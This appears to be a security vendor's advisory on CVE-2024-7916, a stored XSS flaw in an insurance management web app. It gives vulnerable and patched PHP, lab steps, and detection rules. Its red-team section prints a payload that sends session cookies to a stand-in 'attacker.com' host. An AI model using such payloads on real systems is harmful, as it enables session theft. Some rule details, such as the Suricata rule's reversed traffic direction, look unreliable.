CVE-2024-7916

Executive Summary

CVE-2024-7916 is a stored cross-site scripting (XSS) vulnerability identified in the nafisulbari/itsourcecode Insurance Management System version 1.0. The flaw resides in the addNominee.php file, specifically within the "Nominee-Client ID" parameter. An attacker can inject arbitrary JavaScript or HTML into this parameter, which is then stored and executed in the context of any user viewing the affected page. The vendor was contacted but did not respond, leaving the vulnerability unpatched. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the vector is assessed as CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N (Medium severity). The exploit has been publicly disclosed, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – The victim must visit the malicious page or click a crafted link.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (5.4) – Public exploit, no patch available, but requires user interaction.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the addNominee.php script. The application fails to sanitize or encode the Nominee-Client ID input before storing it in the database and later rendering it on the page. An attacker can submit a payload such as:

<script>alert('XSS')</script>

When an administrator or user views the nominee list, the script executes in their browser. This can be leveraged to steal session cookies, perform actions on behalf of the victim, or deface the application.

The attack flow:

1. Attacker navigates to addNominee.php and submits a malicious payload in the Nominee-Client ID field.
2. The payload is stored in the database without sanitization.
3. When any user (including admin) views the nominee records, the payload is rendered and executed.

Vulnerable vs. Patched Code

Vulnerable Code (addNominee.php):

<?php
$nominee_client_id = $_POST['nominee_client_id'];
$sql = "INSERT INTO nominees (client_id) VALUES ('$nominee_client_id')";
mysqli_query($conn, $sql);
?>

Patched Code (Recommended):

<?php
$nominee_client_id = htmlspecialchars($_POST['nominee_client_id'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO nominees (client_id) VALUES (?)");
$stmt->bind_param("s", $nominee_client_id);
$stmt->execute();
?>

The patch uses htmlspecialchars() to encode HTML entities and parameterized queries to prevent both XSS and SQL injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

• Install XAMPP or similar LAMP stack.
• Download the Insurance Management System from the vendor's source.
• Deploy the application and navigate to addNominee.php.

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Submit the payload in the Nominee-Client ID field.
2. Wait for an admin to view the nominee list.
3. The admin's session cookie is exfiltrated to the attacker's server.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual input patterns in addNominee.php (e.g., <script>, onerror=, javascript:).
• Use WAF rules to block common XSS payloads.

Defense:

• Apply input validation and output encoding as shown in the patched code.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /addNominee.php with nominee_client_id containing <script> tags or event handlers.
• Logs: Application logs showing entries with HTML/JavaScript in the client_id field.
• File: Modified addNominee.php if an attacker has uploaded a webshell.

Detection Engineering

YARA Rule

rule CVE_2024_7916_XSS {
    meta:
        description = "Detects XSS payloads targeting Insurance Management System addNominee.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7916"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-7916 XSS Attempt on addNominee.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in HTTP requests to addNominee.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/addNominee.php'
        cs-uri-query|contains: 'nominee_client_id'
        cs-uri-query|re: '(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panel (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-7916 XSS Attempt on addNominee.php";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/addNominee.php"; http_uri;
    content:"nominee_client_id"; http_client_body;
    pcre:"/(<script|onerror|onload|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-7916;
)

Remediation & Mitigation

1. Immediate: Apply input validation and output encoding to addNominee.php. Use htmlspecialchars() for all user-supplied data.
2. Short-term: Implement a Web Application Firewall (WAF) to block XSS patterns.
3. Long-term: Replace the vulnerable application with a maintained fork or develop a custom solution with proper security controls.
4. Compensating Controls: Enforce Content Security Policy (CSP) headers and use HTTP-only cookies to mitigate session theft.

Valters IT
DevSecOps & Cyber Threat Intelligence Division